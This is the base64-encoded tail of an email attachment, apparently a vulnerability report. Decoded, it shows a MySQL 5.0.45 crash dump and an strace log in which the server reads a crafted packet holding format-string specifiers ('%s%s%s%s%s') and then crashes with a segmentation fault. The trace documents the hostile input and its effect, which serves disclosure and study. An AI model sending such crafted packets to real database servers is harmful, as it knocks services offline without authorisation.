dmFyaWFibGVzLg0KU29tZSBwb2ludGVycyBtYXkgYmUgaW52YWxpZCBhbmQgY2F1c2UgdGhlIGR1
bXAgdG8gYWJvcnQuLi4NCnRoZC0+cXVlcnkgYXQgKG5pbCkgIGlzIGludmFsaWQgcG9pbnRlcg0K
dGhkLT50aHJlYWRfaWQ9MQ0KVGhlIG1hbnVhbCBwYWdlIGF0IGh0dHA6Ly93d3cubXlzcWwuY29t
L2RvYy9lbi9DcmFzaGluZy5odG1sIGNvbnRhaW5zDQppbmZvcm1hdGlvbiB0aGF0IHNob3VsZCBo
ZWxwIHlvdSBmaW5kIG91dCB3aGF0IGlzIGNhdXNpbmcgdGhlIGNyYXNoLg0KDQpOdW1iZXIgb2Yg
cHJvY2Vzc2VzIHJ1bm5pbmcgbm93OiAwDQowOTA2MjAgMDE6NTM6NTIgIG15c3FsZCByZXN0YXJ0
ZWQNCjA5MDYyMCAgMTo1Mzo1MiAgSW5ub0RCOiBTdGFydGVkOyBsb2cgc2VxdWVuY2UgbnVtYmVy
IDAgNDg3Njc3Nw0KMDkwNjIwICAxOjUzOjUyIFtOb3RlXSAvdXNyL2xpYmV4ZWMvbXlzcWxkOiBy
ZWFkeSBmb3IgY29ubmVjdGlvbnMuDQpWZXJzaW9uOiAnNS4wLjQ1LWxvZycgIHNvY2tldDogJy92
YXIvbGliL215c3FsL215c3FsLnNvY2snICBwb3J0OiAzMzA2ICBTb3VyY2UgZGlzdHJpYnV0aW9u
DQp+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fg0KDQoN
CjI2NDU0IGZ1dGV4KDB4OGE2ZmY5MCwgRlVURVhfV0FJVCwgMSwgTlVMTCA8dW5maW5pc2hlZCAu
Li4+DQoyNjQ1MyBzZWxlY3QoMTQsIFsxMSAxM10sIE5VTEwsIE5VTEwsIE5VTEwgPHVuZmluaXNo
ZWQgLi4uPg0KMjY0NTUgZnV0ZXgoMHg4YTcwMDAwLCBGVVRFWF9XQUlULCA1LCBOVUxMIDx1bmZp
bmlzaGVkIC4uLj4NCjI2NDU2IGZ1dGV4KDB4OGE3MDA3MCwgRlVURVhfV0FJVCwgMywgTlVMTCA8
dW5maW5pc2hlZCAuLi4+DQoyNjQ1NyBmdXRleCgweDhhNzAwZTAsIEZVVEVYX1dBSVQsIDEsIE5V
TEwgPHVuZmluaXNoZWQgLi4uPg0KMjY0NTkgc2VsZWN0KDAsIE5VTEwsIE5VTEwsIE5VTEwsIHsw
LCA1NTAwMH0gPHVuZmluaXNoZWQgLi4uPg0KMjY0NjAgc2VsZWN0KDAsIE5VTEwsIE5VTEwsIE5V
TEwsIHswLCA5NTMwMDB9IDx1bmZpbmlzaGVkIC4uLj4NCjI2NDYxIGZ1dGV4KDB4ODcyYTYzMCwg
RlVURVhfV0FJVCwgMSwgTlVMTCA8dW5maW5pc2hlZCAuLi4+DQoyNjQ2MiBydF9zaWd0aW1lZHdh
aXQoW0hVUCBRVUlUIEFMUk0gVEVSTSBUU1RQXSwgIDx1bmZpbmlzaGVkIC4uLj4NCjI2NDYzIGZ1
dGV4KDB4ODZlMjA0NCwgRlVURVhfV0FJVCwgMSwgTlVMTCA8dW5maW5pc2hlZCAuLi4+DQoyNjQ1
OSA8Li4uIHNlbGVjdCByZXN1bWVkPiApICAgICAgICAgICAgPSAwIChUaW1lb3V0KQ0KMjY0NTkg
dGltZShOVUxMKSAgICAgICAgICAgICAgICAgICAgICAgID0gMTI0NTQ1NjUzOA0KMjY0NTkgc2Vs
ZWN0KDAsIE5VTEwsIE5VTEwsIE5VTEwsIHsxLCAwfSA8dW5maW5pc2hlZCAuLi4+DQoyNjQ2MCA8
Li4uIHNlbGVjdCByZXN1bWVkPiApICAgICAgICAgICAgPSAwIChUaW1lb3V0KQ0KMjY0NjAgdGlt
ZShOVUxMKSAgICAgICAgICAgICAgICAgICAgICAgID0gMTI0NTQ1NjUzOA0KMjY0NjAgc2VsZWN0
KDAsIE5VTEwsIE5VTEwsIE5VTEwsIHsyLCAwfSA8dW5maW5pc2hlZCAuLi4+DQoyNjQ1OSA8Li4u
IHNlbGVjdCByZXN1bWVkPiApICAgICAgICAgICAgPSAwIChUaW1lb3V0KQ0KMjY0NTkgdGltZShO
VUxMKSAgICAgICAgICAgICAgICAgICAgICAgID0gMTI0NTQ1NjUzOQ0KMjY0NTkgc2VsZWN0KDAs
IE5VTEwsIE5VTEwsIE5VTEwsIHsxLCAwfSkgPSAwIChUaW1lb3V0KQ0KMjY0NTkgdGltZShOVUxM
KSAgICAgICAgICAgICAgICAgICAgICAgID0gMTI0NTQ1NjU0MA0KMjY0NTkgc2VsZWN0KDAsIE5V
TEwsIE5VTEwsIE5VTEwsIHsxLCAwfSA8dW5maW5pc2hlZCAuLi4+DQoyNjQ2MCA8Li4uIHNlbGVj
dCByZXN1bWVkPiApICAgICAgICAgICAgPSAwIChUaW1lb3V0KQ0KMjY0NjAgdGltZShOVUxMKSAg
ICAgICAgICAgICAgICAgICAgICAgID0gMTI0NTQ1NjU0MA0KMjY0NjAgc2VsZWN0KDAsIE5VTEws
IE5VTEwsIE5VTEwsIHsyLCAwfSA8dW5maW5pc2hlZCAuLi4+DQoyNjQ1OSA8Li4uIHNlbGVjdCBy
ZXN1bWVkPiApICAgICAgICAgICAgPSAwIChUaW1lb3V0KQ0KMjY0NTkgdGltZShOVUxMKSAgICAg
ICAgICAgICAgICAgICAgICAgID0gMTI0NTQ1NjU0MQ0KMjY0NTkgc2VsZWN0KDAsIE5VTEwsIE5V
TEwsIE5VTEwsIHsxLCAwfSkgPSAwIChUaW1lb3V0KQ0KMjY0NTkgdGltZShOVUxMKSAgICAgICAg
ICAgICAgICAgICAgICAgID0gMTI0NTQ1NjU0Mg0KMjY0NTkgc2VsZWN0KDAsIE5VTEwsIE5VTEws
IE5VTEwsIHsxLCAwfSA8dW5maW5pc2hlZCAuLi4+DQoyNjQ2MCA8Li4uIHNlbGVjdCByZXN1bWVk
PiApICAgICAgICAgICAgPSAwIChUaW1lb3V0KQ0KMjY0NjAgdGltZShOVUxMKSAgICAgICAgICAg
ICAgICAgICAgICAgID0gMTI0NTQ1NjU0Mg0KMjY0NjAgc2VsZWN0KDAsIE5VTEwsIE5VTEwsIE5V
TEwsIHsyLCAwfSA8dW5maW5pc2hlZCAuLi4+DQoyNjQ1OSA8Li4uIHNlbGVjdCByZXN1bWVkPiAp
ICAgICAgICAgICAgPSAwIChUaW1lb3V0KQ0KMjY0NTkgdGltZShOVUxMKSAgICAgICAgICAgICAg
ICAgICAgICAgID0gMTI0NTQ1NjU0Mw0KMjY0NTkgc2VsZWN0KDAsIE5VTEwsIE5VTEwsIE5VTEws
IHsxLCAwfSkgPSAwIChUaW1lb3V0KQ0KMjY0NTkgdGltZShOVUxMKSAgICAgICAgICAgICAgICAg
ICAgICAgID0gMTI0NTQ1NjU0NA0KMjY0NTkgdGltZShOVUxMKSAgICAgICAgICAgICAgICAgICAg
ICAgID0gMTI0NTQ1NjU0NA0KMjY0NTkgc2VsZWN0KDAsIE5VTEwsIE5VTEwsIE5VTEwsIHsxLCAw
fSA8dW5maW5pc2hlZCAuLi4+DQoyNjQ2MCA8Li4uIHNlbGVjdCByZXN1bWVkPiApICAgICAgICAg
ICAgPSAwIChUaW1lb3V0KQ0KMjY0NjAgdGltZShOVUxMKSAgICAgICAgICAgICAgICAgICAgICAg
ID0gMTI0NTQ1NjU0NA0KMjY0NjAgc2VsZWN0KDAsIE5VTEwsIE5VTEwsIE5VTEwsIHsyLCAwfSA8
dW5maW5pc2hlZCAuLi4+DQoyNjQ1OSA8Li4uIHNlbGVjdCByZXN1bWVkPiApICAgICAgICAgICAg
PSAwIChUaW1lb3V0KQ0KMjY0NTkgdGltZShOVUxMKSAgICAgICAgICAgICAgICAgICAgICAgID0g
MTI0NTQ1NjU0NQ0KMjY0NTkgc2VsZWN0KDAsIE5VTEwsIE5VTEwsIE5VTEwsIHsxLCAwfSkgPSAw
IChUaW1lb3V0KQ0KMjY0NTkgdGltZShOVUxMKSAgICAgICAgICAgICAgICAgICAgICAgID0gMTI0
NTQ1NjU0Ng0KMjY0NTkgc2VsZWN0KDAsIE5VTEwsIE5VTEwsIE5VTEwsIHsxLCAwfSA8dW5maW5p
c2hlZCAuLi4+DQoyNjQ2MCA8Li4uIHNlbGVjdCByZXN1bWVkPiApICAgICAgICAgICAgPSAwIChU
aW1lb3V0KQ0KMjY0NjAgdGltZShOVUxMKSAgICAgICAgICAgICAgICAgICAgICAgID0gMTI0NTQ1
NjU0Ng0KMjY0NjAgc2VsZWN0KDAsIE5VTEwsIE5VTEwsIE5VTEwsIHsyLCAwfSA8dW5maW5pc2hl
ZCAuLi4+DQoyNjQ1OSA8Li4uIHNlbGVjdCByZXN1bWVkPiApICAgICAgICAgICAgPSAwIChUaW1l
b3V0KQ0KMjY0NTkgdGltZShOVUxMKSAgICAgICAgICAgICAgICAgICAgICAgID0gMTI0NTQ1NjU0
Nw0KMjY0NTkgc2VsZWN0KDAsIE5VTEwsIE5VTEwsIE5VTEwsIHsxLCAwfSA8dW5maW5pc2hlZCAu
Li4+DQoyNjQ1MyA8Li4uIHNlbGVjdCByZXN1bWVkPiApICAgICAgICAgICAgPSAxIChpbiBbMTNd
KQ0KMjY0NTMgZmNudGw2NCgxMywgRl9TRVRGTCwgT19SRFdSfE9fTk9OQkxPQ0spID0gMA0KMjY0
NTMgYWNjZXB0KDEzLCB7c2FfZmFtaWx5PUFGX0ZJTEUsIHBhdGg9Iv+/ASJ9LCBbMl0pID0gMjYN
CjI2NDUzIGZjbnRsNjQoMTMsIEZfU0VURkwsIE9fUkRXUikgICAgICA9IDANCjI2NDUzIGdldHNv
Y2tuYW1lKDI2LCB7c2FfZmFtaWx5PUFGX0ZJTEUsIHBhdGg9Ii92YXIvbGliL215c3FsASJ9LCBb
MjhdKSA9IDANCjI2NDUzIGZjbnRsNjQoMjYsIEZfU0VURkwsIE9fUkRPTkxZKSAgICA9IDANCjI2
NDUzIGZjbnRsNjQoMjYsIEZfR0VURkwpICAgICAgICAgICAgICA9IDB4MiAoZmxhZ3MgT19SRFdS
KQ0KMjY0NTMgZmNudGw2NCgyNiwgRl9TRVRGTCwgT19SRFdSfE9fTk9OQkxPQ0spID0gMA0KMjY0
NTMgc2V0c29ja29wdCgyNiwgU09MX0lQLCBJUF9UT1MsIFs4XSwgNCkgPSAtMSBFT1BOT1RTVVBQ
IChPcGVyYXRpb24gbm90IHN1cHBvcnRlZCkNCjI2NDUzIHRpbWUoTlVMTCkgICAgICAgICAgICAg
ICAgICAgICAgICA9IDEyNDU0NTY1NDcNCjI2NDUzIG1tYXAyKE5VTEwsIDIwMDcwNCwgUFJPVF9S
RUFEfFBST1RfV1JJVEUsIE1BUF9QUklWQVRFfE1BUF9BTk9OWU1PVVMsIC0xLCAwKSA9IDB4YjAz
NWUwMDANCjI2NDUzIG1wcm90ZWN0KDB4YjAzNWUwMDAsIDQwOTYsIFBST1RfTk9ORSkgPSAwDQoy
NjQ1MyBjbG9uZShjaGlsZF9zdGFjaz0weGIwMzhlNDk0LCBmbGFncz1DTE9ORV9WTXxDTE9ORV9G
U3xDTE9ORV9GSUxFU3xDTE9ORV9TSUdIQU5EfENMT05FX1RIUkVBRHxDTE9ORV9TWVNWU0VNfENM
T05FX1NFVFRMU3xDTE9ORV9QQVJFTlRfU0VUVElEfENMT05FX0NISUxEX0NMRUFSVElELCBwYXJl
bnRfdGlkcHRyPTB4YjAzOGViZDgsIHtlbnRyeV9udW1iZXI6NiwgYmFzZV9hZGRyOjB4YjAzOGVi
OTAsIGxpbWl0OjEwNDg1NzUsIHNlZ18zMmJpdDoxLCBjb250ZW50czowLCByZWFkX2V4ZWNfb25s
eTowLCBsaW1pdF9pbl9wYWdlczoxLCBzZWdfbm90X3ByZXNlbnQ6MCwgdXNlYWJsZToxfSwgY2hp
bGRfdGlkcHRyPTB4YjAzOGViZDgpID0gMTYxNDcNCjI2NDUzIHNlbGVjdCgxNCwgWzExIDEzXSwg
TlVMTCwgTlVMTCwgTlVMTCA8dW5maW5pc2hlZCAuLi4+DQoxNjE0NyB0aW1lKE5VTEwpICAgICAg
ICAgICAgICAgICAgICAgICAgPSAxMjQ1NDU2NTQ3DQoxNjE0NyBydF9zaWdwcm9jbWFzayhTSUdf
VU5CTE9DSywgW10sIFtIVVAgSU5UIFFVSVQgUElQRSBBTFJNIFRFUk0gVFNUUF0sIDgpID0gMA0K
MTYxNDcgc2V0c29ja29wdCgyNiwgU09MX1NPQ0tFVCwgU09fS0VFUEFMSVZFLCBbMV0sIDQpID0g
MA0KMTYxNDcgd3JpdGUoMjYsICI4XDBcMFwwXG41LjAuNDUtbG9nXDBcMVwwXDBcMF0vbVpaNDZS
XDAsXDI0MlwzMDAiLi4uLCA2MCkgPSA2MA0KMTYxNDcgcmVhZCgyNiwgMHg4YjE5YWUwLCA0KSAg
ICAgICAgICAgID0gLTEgRUFHQUlOIChSZXNvdXJjZSB0ZW1wb3JhcmlseSB1bmF2YWlsYWJsZSkN
CjE2MTQ3IHRpbWUoTlVMTCkgICAgICAgICAgICAgICAgICAgICAgICA9IDEyNDU0NTY1NDcNCjE2
MTQ3IHJ0X3NpZ3Byb2NtYXNrKFNJR19CTE9DSywgfltSVE1JTiBSVF8xXSwgW0hVUCBJTlQgUVVJ
VCBQSVBFIEFMUk0gVEVSTSBUU1RQXSwgOCkgPSAwDQoxNjE0NyB0Z2tpbGwoMjY0NTMsIDI2NDYy
LCBTSUdBTFJNKSAgICAgPSAwDQoyNjQ2MiA8Li4uIHJ0X3NpZ3RpbWVkd2FpdCByZXN1bWVkPiAw
LCAwLCA4KSA9IDE0DQoxNjE0NyBydF9zaWdwcm9jbWFzayhTSUdfU0VUTUFTSywgW0hVUCBJTlQg
UVVJVCBQSVBFIEFMUk0gVEVSTSBUU1RQXSwgIDx1bmZpbmlzaGVkIC4uLj4NCjI2NDYyIHJ0X3Np
Z3Byb2NtYXNrKFNJR19TRVRNQVNLLCB+W1JUTUlOIFJUXzFdLCAgPHVuZmluaXNoZWQgLi4uPg0K
MTYxNDcgPC4uLiBydF9zaWdwcm9jbWFzayByZXN1bWVkPiBOVUxMLCA4KSA9IDANCjI2NDYyIDwu
Li4gcnRfc2lncHJvY21hc2sgcmVzdW1lZD4gW0hVUCBJTlQgUVVJVCBQSVBFIEFMUk0gVEVSTSBU
U1RQXSwgOCkgPSAwDQoxNjE0NyBmY250bDY0KDI2LCBGX1NFVEZMLCBPX1JEV1IgPHVuZmluaXNo
ZWQgLi4uPg0KMjY0NjIgdGltZSggPHVuZmluaXNoZWQgLi4uPg0KMTYxNDcgPC4uLiBmY250bDY0
IHJlc3VtZWQ+ICkgICAgICAgICAgID0gMA0KMjY0NjIgPC4uLiB0aW1lIHJlc3VtZWQ+IE5VTEwp
ICAgICAgICAgID0gMTI0NTQ1NjU0Nw0KMTYxNDcgcmVhZCgyNiwgIDx1bmZpbmlzaGVkIC4uLj4N
CjI2NDYyIGFsYXJtKDUpICAgICAgICAgICAgICAgICAgICAgICAgICA9IDANCjI2NDYyIHJ0X3Np
Z3Byb2NtYXNrKFNJR19TRVRNQVNLLCBbSFVQIElOVCBRVUlUIFBJUEUgQUxSTSBURVJNIFRTVFBd
LCBOVUxMLCA4KSA9IDANCjI2NDYyIHJ0X3NpZ3RpbWVkd2FpdChbSFVQIFFVSVQgQUxSTSBURVJN
IFRTVFBdLCAgPHVuZmluaXNoZWQgLi4uPg0KMTYxNDcgPC4uLiByZWFkIHJlc3VtZWQ+ICImXDBc
MFwxIiwgNCkgID0gNA0KMTYxNDcgcmVhZCgyNiwgIlwyMDdcMjQyXDBcMFwwXDBcMEBcMTBcMFww
XDBcMFwwXDBcMFwwXDBcMFwwXDBcMFwwXDBcMFwwXDBcMFwwXDBcMFwwIi4uLiwgMzgpID0gMzgN
CjE2MTQ3IHJ0X3NpZ3Byb2NtYXNrKFNJR19CTE9DSywgfltSVE1JTiBSVF8xXSwgW0hVUCBJTlQg
UVVJVCBQSVBFIEFMUk0gVEVSTSBUU1RQXSwgOCkgPSAwDQoxNjE0NyBydF9zaWdwcm9jbWFzayhT
SUdfU0VUTUFTSywgW0hVUCBJTlQgUVVJVCBQSVBFIEFMUk0gVEVSTSBUU1RQXSwgTlVMTCwgOCkg
PSAwDQoxNjE0NyBmY250bDY0KDI2LCBGX1NFVEZMLCBPX1JEV1J8T19OT05CTE9DSykgPSAwDQox
NjE0NyB0aW1lKE5VTEwpICAgICAgICAgICAgICAgICAgICAgICAgPSAxMjQ1NDU2NTQ3DQoxNjE0
NyB3cml0ZSgzLCAiMDkwNjIwICAyOjA5OjA3XHQgICAgICAxIENvbm5lY3QgIi4uLiwgNTUpID0g
NTUNCjE2MTQ3IHdyaXRlKDI2LCAiXDdcMFwwXDJcMFwwXDBcMlwwXDBcMCIsIDExKSA9IDExDQox
NjE0NyB0aW1lKE5VTEwpICAgICAgICAgICAgICAgICAgICAgICAgPSAxMjQ1NDU2NTQ3DQoxNjE0
NyByZWFkKDI2LCAweDhiMTlhZTAsIDQpICAgICAgICAgICAgPSAtMSBFQUdBSU4gKFJlc291cmNl
IHRlbXBvcmFyaWx5IHVuYXZhaWxhYmxlKQ0KMTYxNDcgdGltZShOVUxMKSAgICAgICAgICAgICAg
ICAgICAgICAgID0gMTI0NTQ1NjU0Nw0KMTYxNDcgcnRfc2lncHJvY21hc2soU0lHX0JMT0NLLCB+
W1JUTUlOIFJUXzFdLCBbSFVQIElOVCBRVUlUIFBJUEUgQUxSTSBURVJNIFRTVFBdLCA4KSA9IDAN
CjE2MTQ3IHRna2lsbCgyNjQ1MywgMjY0NjIsIFNJR0FMUk0pICAgICA9IDANCjE2MTQ3IHJ0X3Np
Z3Byb2NtYXNrKFNJR19TRVRNQVNLLCBbSFVQIElOVCBRVUlUIFBJUEUgQUxSTSBURVJNIFRTVFBd
LCBOVUxMLCA4KSA9IDANCjE2MTQ3IGZjbnRsNjQoMjYsIEZfU0VURkwsIE9fUkRXUikgICAgICA9
IDANCjE2MTQ3IHJlYWQoMjYsICA8dW5maW5pc2hlZCAuLi4+DQoyNjQ2MiA8Li4uIHJ0X3NpZ3Rp
bWVkd2FpdCByZXN1bWVkPiAwLCAwLCA4KSA9IDE0DQoxNjE0NyA8Li4uIHJlYWQgcmVzdW1lZD4g
Ilx2XDBcMFwwIiwgNCkgPSA0DQoxNjE0NyByZWFkKDI2LCAiXDUlcyVzJXMlcyVzIiwgMTEpICAg
ICAgPSAxMQ0KMTYxNDcgcnRfc2lncHJvY21hc2soU0lHX0JMT0NLLCB+W1JUTUlOIFJUXzFdLCBb
SFVQIElOVCBRVUlUIFBJUEUgQUxSTSBURVJNIFRTVFBdLCA4KSA9IDANCjE2MTQ3IHJ0X3NpZ3By
b2NtYXNrKFNJR19TRVRNQVNLLCBbSFVQIElOVCBRVUlUIFBJUEUgQUxSTSBURVJNIFRTVFBdLCBO
VUxMLCA4KSA9IDANCjE2MTQ3IGZjbnRsNjQoMjYsIEZfU0VURkwsIE9fUkRXUnxPX05PTkJMT0NL
KSA9IDANCjE2MTQ3IHRpbWUoTlVMTCkgICAgICAgICAgICAgICAgICAgICAgICA9IDEyNDU0NTY1
NDcNCjE2MTQ3IC0tLSBTSUdTRUdWIChTZWdtZW50YXRpb24gZmF1bHQpIEAgMCAoMCkgLS0tDQox
NjE0NyB0aW1lKE5VTEwpICAgICAgICAgICAgICAgICAgICAgICAgPSAxMjQ1NDU2NTQ3DQoxNjE0
NyB3cml0ZSgyLCAiMDkwNjIwICAyOjA5OjA3IC0gbXlzcWxkIGdvdCBzaWciLi4uLCAyNjYpID0g
MjY2DQoxNjE0NyB3cml0ZSgyLCAiV2Ugd2lsbCB0cnkgb3VyIGJlc3QgdG8gc2NyYXBlIHUiLi4u
LCAxNzYpID0gMTc2DQoxNjE0NyB3cml0ZSgyLCAia2V5X2J1ZmZlcl9zaXplPTgzODg2MDBcbiIs
IDI0KSA9IDI0DQoxNjE0NyB3cml0ZSgyLCAicmVhZF9idWZmZXJfc2l6ZT0xMzEwNzJcbiIsIDI0
KSA9IDI0DQoxNjE0NyB3cml0ZSgyLCAibWF4X3VzZWRfY29ubmVjdGlvbnM9MVxuIiwgMjMpID0g
MjMNCjE2MTQ3IHdyaXRlKDIsICJtYXhfY29ubmVjdGlvbnM9MTAwXG4iLCAyMCkgPSAyMA0KMTYx
NDcgd3JpdGUoMiwgInRocmVhZHNfY29ubmVjdGVkPTFcbiIsIDIwKSA9IDIwDQoxNjE0NyB3cml0
ZSgyLCAiSXQgaXMgcG9zc2libGUgdGhhdCBteXNxbGQgY291bGQiLi4uLCAxNDMpID0gMTQzDQox
NjE0NyB3cml0ZSgyLCAiSG9wZSB0aGF0XCdzIG9rOyBpZiBub3QsIGRlY3JlYXNlIi4uLiwgNjYp
ID0gNjYNCjE2MTQ3IHdyaXRlKDIsICJ0aGQ9MHg4YWVhOGE4XG4iLCAxNCkgICA9IDE0DQoxNjE0
NyB3cml0ZSgyLCAiQXR0ZW1wdGluZyBiYWNrdHJhY2UuIFlvdSBjYW4gdXMiLi4uLCAxNTkpID0g
MTU5DQoxNjE0NyB3cml0ZSgyLCAiQ2Fubm90IGRldGVybWluZSB0aHJlYWQsIGZwPTB4YjAiLi4u
LCA3MCkgPSA3MA0KMTYxNDcgd3JpdGUoMiwgIlN0YWNrIHJhbmdlIHNhbml0eSBjaGVjayBPSywg
YmFjIi4uLiwgNDgpID0gNDgNCjE2MTQ3IHdyaXRlKDIsICIweDgxODczOTNcbiIsIDEwKSAgICAg
ICA9IDEwDQoxNjE0NyB3cml0ZSgyLCAiMHhiN2JlOGFmYlxuIiwgMTEpICAgICAgPSAxMQ0KMTYx
NDcgd3JpdGUoMiwgIjB4ODIwOGRjNFxuIiwgMTApICAgICAgID0gMTANCjE2MTQ3IHdyaXRlKDIs
ICIweDgxYTU1ZTJcbiIsIDEwKSAgICAgICA9IDEwDQoxNjE0NyB3cml0ZSgyLCAiMHg4MWE1OGI3
XG4iLCAxMCkgICAgICAgPSAxMA0KMTYxNDcgd3JpdGUoMiwgIjB4ODFhNjQ4N1xuIiwgMTApICAg
ICAgID0gMTANCjE2MTQ3IHdyaXRlKDIsICIweGI3ZTJhMzNhXG4iLCAxMSkgICAgICA9IDExDQox
NjE0NyB3cml0ZSgyLCAiMHhiN2M0YjVjZVxuIiwgMTEpICAgICAgPSAxMQ0KMTYxNDcgd3JpdGUo
MiwgIk5ldyB2YWx1ZSBvZiBmcD0obmlsKSBmYWlsZWQgc2FuIi4uLiwgNjgpID0gNjgNCjE2MTQ3
IHdyaXRlKDIsICJQbGVhc2UgcmVhZCBodHRwOi8vZGV2Lm15c3FsLmNvbSIuLi4sIDIyMikgPSAy
MjINCjE2MTQ3IHdyaXRlKDIsICJUcnlpbmcgdG8gZ2V0IHNvbWUgdmFyaWFibGVzLlxuU28iLi4u
LCA5MCkgPSA5MA0KMTYxNDcgd3JpdGUoMiwgInRoZC0+cXVlcnkgYXQgKG5pbCkgIiwgMjApID0g
MjANCjE2MTQ3IHdyaXRlKDIsICIgaXMgaW52YWxpZCBwb2ludGVyXG4iLCAyMCkgPSAyMA0KMTYx
NDcgd3JpdGUoMiwgInRoZC0+dGhyZWFkX2lkPTFcbiIsIDE3KSA9IDE3DQoxNjE0NyB3cml0ZSgy
LCAiVGhlIG1hbnVhbCBwYWdlIGF0IGh0dHA6Ly93d3cubXkiLi4uLCAxMzkpID0gMTM5DQoxNjE0
NyBleGl0X2dyb3VwKDEpICAgICAgICAgICAgICAgICAgICAgPSA/DQoyNjQ2MiBydF9zaWdwcm9j
bWFzayhTSUdfU0VUTUFTSywgfltSVE1JTiBSVF8xXSwgIDx1bmZpbmlzaGVkIC4uLj4NCjI2NDYz
IDwuLi4gZnV0ZXggcmVzdW1lZD4gKSAgICAgICAgICAgICA9IC0xIEVJTlRSIChJbnRlcnJ1cHRl
ZCBzeXN0ZW0gY2FsbCkNCjI2NDU5IDwuLi4gc2VsZWN0IHJlc3VtZWQ+ICkgICAgICAgICAgICA9
ID8gRVJFU1RBUlROT0hBTkQgKFRvIGJlIHJlc3RhcnRlZCkNCjI2NDUzIDwuLi4gc2VsZWN0IHJl
c3VtZWQ+ICkgICAgICAgICAgICA9ID8gRVJFU1RBUlROT0hBTkQgKFRvIGJlIHJlc3RhcnRlZCkN
CjI2NDU0IDwuLi4gZnV0ZXggcmVzdW1lZD4gKSAgICAgICAgICAgICA9IC0xIEVJTlRSIChJbnRl
cnJ1cHRlZCBzeXN0ZW0gY2FsbCkNCjI2NDU1IDwuLi4gZnV0ZXggcmVzdW1lZD4gKSAgICAgICAg
ICAgICA9IC0xIEVJTlRSIChJbnRlcnJ1cHRlZCBzeXN0ZW0gY2FsbCkNCjI2NDU2IDwuLi4gZnV0
ZXggcmVzdW1lZD4gKSAgICAgICAgICAgICA9IC0xIEVJTlRSIChJbnRlcnJ1cHRlZCBzeXN0ZW0g
Y2FsbCkNCjI2NDU3IDwuLi4gZnV0ZXggcmVzdW1lZD4gKSAgICAgICAgICAgICA9IC0xIEVJTlRS
IChJbnRlcnJ1cHRlZCBzeXN0ZW0gY2FsbCkNCjI2NDYxIDwuLi4gZnV0ZXggcmVzdW1lZD4gKSAg
ICAgICAgICAgICA9IC0xIEVJTlRSIChJbnRlcnJ1cHRlZCBzeXN0ZW0gY2FsbCkNCjI2NDYwIDwu
Li4gc2VsZWN0IHJlc3VtZWQ+ICkgICAgICAgICAgICA9ID8gRVJFU1RBUlROT0hBTkQgKFRvIGJl
IHJlc3RhcnRlZCkNCjI2NDYyIDwuLi4gcnRfc2lncHJvY21hc2sgcmVzdW1lZD4gW0hVUCBJTlQg
UVVJVCBQSVBFIEFMUk0gVEVSTSBUU1RQXSwgOCkgPSAwDQoNCldpdGggS2luZCBSZWdhcmRzLA0K
DQpOaWtvbGFvcyBSYW5nb3MNCkUtTWFpbDoga2NvcGVbYXRdZ29vZ2xlbWFpbC5jb20NCg0K
--0016364d1d916cb72a046e39b7ea--